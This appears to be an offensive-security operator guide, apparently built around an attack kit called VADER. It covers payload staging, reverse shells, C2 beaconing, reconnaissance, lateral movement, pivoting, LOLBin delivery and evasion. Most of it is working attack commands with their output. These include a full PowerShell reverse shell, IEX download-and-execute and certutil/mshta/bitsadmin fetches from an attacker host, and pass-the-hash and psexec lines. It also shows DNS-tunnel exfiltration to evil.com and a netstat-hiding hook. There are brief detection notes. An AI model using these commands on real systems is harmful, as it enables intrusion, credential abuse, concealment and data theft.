01 // HTTP FILE STAGING
The fastest way to move files between machines on a network. One command turns any folder into a web server. Every file in that directory becomes a downloadable URL. No setup, no FTP, no SMB shares, no USB drives.
How It Works
┌──────────────────────────────────┐
│ Attacker (192.168.1.92) │
│ ┌────────────────────────┐ │
│ │ /staging/ │ │
│ │ ├── payload.exe │ ──── │ ──▶ http://192.168.1.92:9090/payload.exe
│ │ ├── implant.dll │ ──── │ ──▶ http://192.168.1.92:9090/implant.dll
│ │ └── driver.sys │ ──── │ ──▶ http://192.168.1.92:9090/driver.sys
│ └────────────────────────┘ │
│ python -m http.server 9090 │ ◀── listening on 0.0.0.0 (all interfaces)
└──────────┬───────────────────────┘
│
│ LAN (same subnet)
│
┌──────────▼───────────────────────┐
│ Target (192.168.1.50) │
│ Invoke-WebRequest ... │ ◀── normal HTTP GET download
│ -OutFile payload.exe │
└──────────────────────────────────┘
Start the Server
cd /opt/staging && python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
127.0.0.1 - - [19/Jun/2026 14:32:01] "GET /payload.exe HTTP/1.1" 200 -
192.168.1.50 - - [19/Jun/2026 14:32:15] "GET /payload.exe HTTP/1.1" 200 -
192.168.1.50 - - [19/Jun/2026 14:32:18] "GET /implant.dll HTTP/1.1" 200 -
Every successful download shows a 200 response in the server log. A 404 means the file doesn't exist in the directory you're serving. A connection timeout means the target can't reach your IP (firewall, wrong subnet, server not running).
Pull Files on Target
Invoke-WebRequest http://192.168.1.92:9090/payload.exe -OutFile payload.exe
Invoke-WebRequest http://192.168.1.92:9090/implant.dll -OutFile implant.dll
(Get-Item payload.exe).Length
153088
wget http://192.168.1.92:9090/payload.elf
--2026-06-19 14:33:22-- http://192.168.1.92:9090/payload.elf
Connecting to 192.168.1.92:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 48256 (47K)
Saving to: 'payload.elf'
payload.elf 100%[==================>] 47.13K --.-KB/s in 0.001s
curl http://192.168.1.92:9090/payload.elf -o payload.elf
Troubleshooting
404 Not Found: You're hitting a server, but the file isn't there. Either you're serving the wrong directory, or another process is listening on that port. Diagnose with netstat -ano | findstr ":9090" — if you see two PIDs, you have a port conflict.
OPSEC: Kill the server when done (Ctrl+C). While running, anyone on your network can browse that directory. python -m http.server has no authentication — it's an open door.
Port Conflict Diagnosis
netstat -ano | findstr ":8080"
TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 6216
TCP [::]:8080 [::]:0 LISTENING 46768
Get-Process -Id 6216 | Select-Object ProcessName
httpd
Get-Process -Id 46768 | Select-Object ProcessName
python
python -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 ...
02 // TCP/IP FOR OPERATORS
Every connection you make — HTTP staging, reverse shells, C2 beacons, lateral movement — is TCP or UDP underneath. Understanding the handshake tells you what netstat output means and why connections fail.
The Three-Way Handshake
Client Server
│ │
│ ──── SYN (seq=100) ──────▶ │ "I want to connect"
│ │
│ ◀──── SYN-ACK (ack=101) ──── │ "OK, I'm listening"
│ │
│ ──── ACK (ack=1) ────────▶ │ "Connection established"
│ │
│ ◀════ DATA ══════════════▶ │ bidirectional communication
│ │
│ ──── FIN ────────────────▶ │ "I'm done"
│ ◀──── FIN-ACK ─────────── │ "Acknowledged, me too"
│ │
SYN = synchronize. ACK = acknowledge. FIN = finish. Every TCP connection goes through this dance. When a port scan sends a SYN and gets SYN-ACK back, the port is open. RST back = closed. Silence = filtered (firewall dropped it).
Port Ranges
Well-Known (0-1023) HTTP=80, HTTPS=443, SSH=22, SMB=445, DNS=53, RDP=3389
Registered (1024-49151) MySQL=3306, PostgreSQL=5432, WinRM=5985, Metasploit=4444
Dynamic (49152-65535) Ephemeral ports — OS assigns these for outbound connections
Reading netstat
netstat -ano | findstr "ESTABLISHED"
TCP 192.168.1.50:49832 192.168.1.92:8080 ESTABLISHED 3412
TCP 192.168.1.50:49844 13.107.42.14:443 ESTABLISHED 1088
TCP 192.168.1.50:49901 192.168.1.92:4444 ESTABLISHED 7720
netstat -ano | findstr "LISTENING"
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 892
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
PowerShell gotcha: sc in PowerShell is aliased to Set-Content, not the service control manager. Use sc.exe query to query services. Same trap: curl is aliased to Invoke-WebRequest. Always use curl.exe on Windows if you want the real curl.
03 // REVERSE SHELLS
A reverse shell makes the target connect back to you. This bypasses inbound firewall rules — most firewalls block inbound but allow outbound. The attacker listens; the target calls home.
┌─────────────┐ ┌─────────────┐
│ Attacker │ │ Target │
│ LISTENING │ ◀════ TCP ════════ │ CONNECTS │
│ on :4444 │ │ OUT to :4444│
│ │ │ │
│ nc -lvnp │ target initiates │ powershell │
│ 4444 │ the connection │ reverse │
└─────────────┘ └─────────────┘
Bind Shell = opposite: target LISTENS, attacker connects IN
(blocked by most firewalls → reverse shell preferred)
Listener Setup (Attacker)
nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.92] from (UNKNOWN) [192.168.1.50] 49832
Microsoft Windows [Version 10.0.19045]
(c) Microsoft Corporation. All rights reserved.
C:\Users\target>whoami
radon_laptop1\ghaleb jomma
C:\Users\target>ipconfig | findstr "IPv4"
IPv4 Address. . . . . . . : 192.168.1.50
PowerShell Reverse Shell (Target)
$c = New-Object Net.Sockets.TCPClient('192.168.1.92',4444)
$s = $c.GetStream()
$w = New-Object IO.StreamWriter($s)
$r = New-Object IO.StreamReader($s)
while($true){$w.Write('PS> '); $w.Flush(); $d = $r.ReadLine(); $o = iex $d 2>&1 | Out-String; $w.Write($o); $w.Flush()}
Detection: Raw TCP reverse shells trigger Defender's behavioral monitoring. AMSI scans the PowerShell commands. ETW-TI logs the socket creation. This is why VADER's kill chain blinds AMSI and ETW before establishing the shell.
Common Ports for Shells
4444 — Metasploit default. Known to every SOC analyst. Use for testing only.
443 — HTTPS port. Blends with legit traffic. Many firewalls allow outbound 443.
80 — HTTP port. Same logic. May conflict with web servers.
53 — DNS port. Often allowed through even strict firewalls.
8080 — Alt-HTTP. Common but watched. Port conflicts with dev servers.
04 // C2 ARCHITECTURE
Command & Control (C2) is the persistent communication channel between attacker and implant. Unlike a one-shot reverse shell, C2 is designed for long-term access — beaconing at intervals, receiving tasking, exfiltrating data.
HTTP Beacon (Most Common)
Implant C2 Server
│ │
│ ── GET /news/feed.json ──────────▶ │ check-in (sleep 60s + jitter)
│ ◀── 200 OK {"task":"whoami"} ──── │ server queues commands
│ │
│ ... implant executes whoami ... │
│ │
│ ── POST /api/telemetry ──────────▶ │ send results back
│ body: {output: "nt authority\system"}│
│ ◀── 200 OK ────────────────────── │ acknowledged
│ │
│ ... sleep 60s ± 15s jitter ... │ jitter prevents pattern detection
│ │
│ ── GET /news/feed.json ──────────▶ │ next check-in
│ ◀── 200 OK {"task":"none"} ────── │ nothing to do
│ │
Sleep controls how often the implant checks in. Shorter = more responsive but more traffic. Jitter adds randomness to the interval (e.g., 60s ± 15s) so check-ins don't happen at exact intervals — exact intervals are a detection signature.
C2 Channel Types
HTTP/HTTPS HTTP
Blends with web traffic. HTTPS encrypts payload. Most C2 frameworks default here.
Detected by: proxy logs, SSL inspection, JA3 fingerprinting, domain reputation.
DNS Tunneling DNS
Data encoded in DNS queries (TXT, CNAME, A records). Slow but hard to block
— most networks MUST allow DNS. Detection: anomalous query volume, long labels.
SMB Named Pipes SMB
Internal-only. Implant-to-implant comms through named pipes over SMB (port 445).
No internet traffic = invisible to perimeter monitoring. Used for pivoting.
ICMP Tunneling
Data embedded in ping packets. Extremely slow. Niche — most envs allow ICMP.
Detection: unusual ICMP packet sizes, high volume pings.
Raw TCP TCP
Direct socket. Fast but obvious — custom protocol on a non-standard port.
Detected by: port scanning, traffic analysis, IDS signatures.
VADER's C2 Architecture
1. vader_stager.exe → downloads payload.dll via HTTP (port 8080)
2. vader_inject.exe → injects payload into target process
3. vader_shell.exe → reverse shell callback (port 4444)
4. cloak.dll → hides ports 8080 + 4444 from netstat
With cloak active:
netstat -ano | findstr "8080 4444"
[no output — connections hidden by NtDeviceIoControlFile hook]
05 // NETWORK RECONNAISSANCE
Before you move laterally, you need to know what's on the network. Recon answers: what hosts are alive, what ports are open, what services are running, and what's the network topology.
Host Discovery
arp -a
Interface: 192.168.1.92 --- 0xa
Internet Address Physical Address Type
192.168.1.1 aa:bb:cc:dd:ee:01 dynamic
192.168.1.50 aa:bb:cc:dd:ee:50 dynamic
192.168.1.55 aa:bb:cc:dd:ee:55 dynamic
192.168.1.255 ff:ff:ff:ff:ff:ff static
for i in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$i &>/dev/null && echo "192.168.1.$i alive"; done
192.168.1.1 alive
192.168.1.50 alive
192.168.1.55 alive
192.168.1.92 alive
Port Scanning (nmap)
nmap 192.168.1.50
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 192.168.1.50
Host is up (0.0031s latency).
Not shown: 995 closed tcp ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wrd-rdp
5985/tcp open wsman
nmap -sV -O 192.168.1.50
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows 10 Pro 19045
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
OS details: Microsoft Windows 10 1809 - 2009
nmap -p- 192.168.1.50
nmap -sS 192.168.1.50
Windows Native Recon (No Tools Required)
ipconfig /all
route print
ipconfig /displaydns
netstat -ano
netstat -ano | findstr ":445"
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
tasklist /fi "PID eq 4"
Image Name PID Session Name Mem Usage
System 4 Services 148 K
net view \\192.168.1.50
query user /server:192.168.1.50
06 // LATERAL MOVEMENT
Moving from one compromised host to another inside the network. You've popped one box — now reach the domain controller, the file server, the database. Each technique has a different footprint and different requirements.
PsExec (SMB — Port 445)
psexec.py domain/admin:Password123@192.168.1.50 cmd.exe
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Requesting shares on 192.168.1.50.....
[*] Found writable share ADMIN$
[*] Uploading file to ADMIN$\Temp\
[*] Creating service on 192.168.1.50.....
[*] Starting service.....
Microsoft Windows [Version 10.0.19045]
C:\Windows\system32>whoami
nt authority\system
WinRM (Port 5985/5986)
evil-winrm -i 192.168.1.50 -u admin -p 'Password123'
[+] Connected to 192.168.1.50
[+] PowerShell session established
*Evil-WinRM* PS C:\Users\admin\Documents> whoami
radon\admin
Enter-PSSession -ComputerName 192.168.1.50 -Credential domain\admin
[192.168.1.50]: PS C:\Users\admin\Documents>
Pass-the-Hash (No Password Needed)
pth-winexe -U admin%aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 //192.168.1.50 cmd.exe
Microsoft Windows [Version 10.0.19045]
C:\Windows\system32>
psexec.py -hashes :e19ccf75ee54e06b06a5907af13cef42 admin@192.168.1.50
Key insight: Windows authenticates with NTLM hashes, not passwords. If you have the hash, you ARE that user to Windows. This is why credential dumping (Mimikatz, LSASS dump) is the most impactful post-exploitation step — one set of admin hashes gives you access to every machine that admin can reach.
RDP (Port 3389)
xfreerdp /v:192.168.1.50 /u:admin /p:Password123 /cert-ignore
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=yes
07 // PORT FORWARDING & PIVOTING
You've compromised a host on the DMZ. The internal network (10.10.x.x) is behind it — unreachable from your machine directly. Pivoting means routing your traffic through the compromised host to reach internal targets.
Your Machine Compromised Host Internal Target
192.168.1.92 192.168.1.50 10.10.10.20
(also on 10.10.10.1)
│ │ │
│ you can reach this │ this can reach both │ you can't reach
│ ════════════════════▶ │ ════════════════════▶ │ this directly
│ │ │
│ PIVOT: tunnel your │ │
│ traffic through the │ │
│ compromised host │ │
│ ═══════╦═════════════▶ │ ═══════════════════▶ │
│ ║ SSH tunnel │ │
│ ╚═════════════════╩══════════════════════▶ │
│ now you can reach 10.10.10.20 via the tunnel │
SSH Local Port Forward
ssh -L 8888:10.10.10.20:80 user@192.168.1.50
curl http://localhost:8888
<html>Internal Web App</html>
SSH Dynamic Port Forward (SOCKS Proxy)
ssh -D 1080 user@192.168.1.50
proxychains nmap -sT 10.10.10.0/24
proxychains curl http://10.10.10.20
proxychains evil-winrm -i 10.10.10.20 -u admin -p pass
Chisel (No SSH Required)
./chisel server --reverse --port 8000
server: Listening on http://0.0.0.0:8000
.\chisel.exe client 192.168.1.92:8000 R:socks
client: Connected
proxychains nmap 10.10.10.0/24
Why chisel over SSH: Targets don't always have SSH. Chisel is a single static binary — upload it, run it, tunnel established. HTTP-based, so it traverses proxies and firewalls that block SSH. Reverse mode means the target connects out to you (like a reverse shell but for tunnels).
08 // PAYLOAD DELIVERY METHODS
Getting your payload onto the target. Each method has different OPSEC tradeoffs — disk footprint, network signature, and detection risk.
Staged vs Stageless
STAGED (two-step)
Step 1: Small stager (2-5KB) downloads the real payload
Step 2: Payload executes in memory — never touches disk
Pro: tiny initial footprint, payload can be large
Con: requires network callback to fetch stage 2
STAGELESS (one-shot)
Everything in one binary — executes immediately
Pro: no network dependency after initial delivery
Con: larger binary, more signatures for AV to scan
VADER uses STAGED:
vader_stager.exe (stage 1) → HTTP GET → payload.dll (stage 2)
vader_inject.exe loads payload.dll into target process memory
payload.dll never written to disk = harder for forensics
HTTP Staging (python -m http.server)
python3 -m http.server 9090 --directory /opt/payloads/
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.92:9090/runner.ps1')
Invoke-WebRequest http://192.168.1.92:9090/payload.exe -OutFile C:\temp\svc.exe
Start-Process C:\temp\svc.exe
certutil -urlcache -split -f http://192.168.1.92:9090/payload.exe C:\temp\svc.exe
bitsadmin /transfer job /download /priority high http://192.168.1.92:9090/payload.exe C:\temp\svc.exe
SMB Staging (Port 445)
smbserver.py SHARE /opt/payloads/ -smb2support
Impacket v0.11.0
[*] Config file parsed
[*] Callback added for UUID ...
\\192.168.1.92\SHARE\payload.exe
copy \\192.168.1.92\SHARE\payload.exe C:\temp\svc.exe
Living off the Land (LOLBins)
certutil -urlcache -split -f http://192.168.1.92/p.exe p.exe
mshta http://192.168.1.92/payload.hta
rundll32 \\192.168.1.92\share\payload.dll,EntryPoint
bitsadmin /transfer x /download http://192.168.1.92/p.exe %temp%\p.exe
Why LOLBins matter: These are signed Microsoft binaries — Defender doesn't block certutil.exe itself. Application whitelisting (AppLocker) allows them by default. You're using the OS against itself. Detection relies on behavioral monitoring: "why is certutil downloading an exe?"
09 // NETWORK EVASION
Your C2 traffic needs to look like normal traffic. Firewalls, IDS/IPS, and SOC analysts are watching. Every technique here addresses a specific detection mechanism.
Encrypted Channels (HTTPS C2)
WITHOUT encryption:
GET /commands HTTP/1.1
Response: {"task":"mimikatz","args":"sekurlsa::logonpasswords"}
→ IDS signature matches "mimikatz" → ALERT
WITH HTTPS:
TLS handshake → encrypted tunnel
Proxy sees: destination IP + SNI hostname — NOT the content
→ No payload inspection possible without SSL interception
Domain Fronting
TLS SNI: cdn.microsoft.com ← what the firewall sees
HTTP Host: evil-c2.azureedge.net ← where CDN actually routes it
Firewall sees traffic to Microsoft's CDN — looks completely legitimate.
CDN routes based on Host header to attacker's C2 server.
Status: most cloud providers (AWS, Azure, GCP) have blocked this.
Still works on some smaller CDNs and custom configurations.
DNS Tunneling (Data Exfil)
Query: aGVsbG8gd29ybGQ.evil.com TXT
^^^^^^^^^^^^^^^^
base64("hello world") encoded as subdomain
TXT Record: "d2hvYW1p" → base64("whoami")
dnscat2-server evil.com
.\dnscat2.exe evil.com
Speed: ~50KB/s max. Not for large transfers.
Stealth: DNS is almost never blocked. Hard to detect without
DNS traffic analytics (query volume, label entropy).
Connection Hiding (VADER Cloak)
cloak.dll hooks NtDeviceIoControlFile in every process
→ netstat queries return filtered results
→ TCP connections on hidden ports are invisible
→ Resource Monitor, TCPView, ProcessHacker all blinded
BEFORE cloak:
netstat -ano | findstr "8080 4444"
TCP 192.168.1.50:49832 192.168.1.92:8080 ESTABLISHED 3412
TCP 192.168.1.50:49901 192.168.1.92:4444 ESTABLISHED 7720
AFTER cloak:
netstat -ano | findstr "8080 4444"
[empty — connections exist but are filtered from all queries]
Limitation: network-level monitoring (firewall logs, packet captures)
still sees the traffic. Cloak hides from the OS, not the wire.
Defense-in-depth lesson: This is why monitoring at multiple layers matters. Host-based tools (netstat, Task Manager) can be blinded by rootkits. Network monitoring (IDS, firewall logs, packet captures) sees traffic regardless of what the endpoint reports. Correlating both layers catches discrepancies — a connection visible on the wire but missing from netstat is a rootkit indicator.
for cheyanne. always.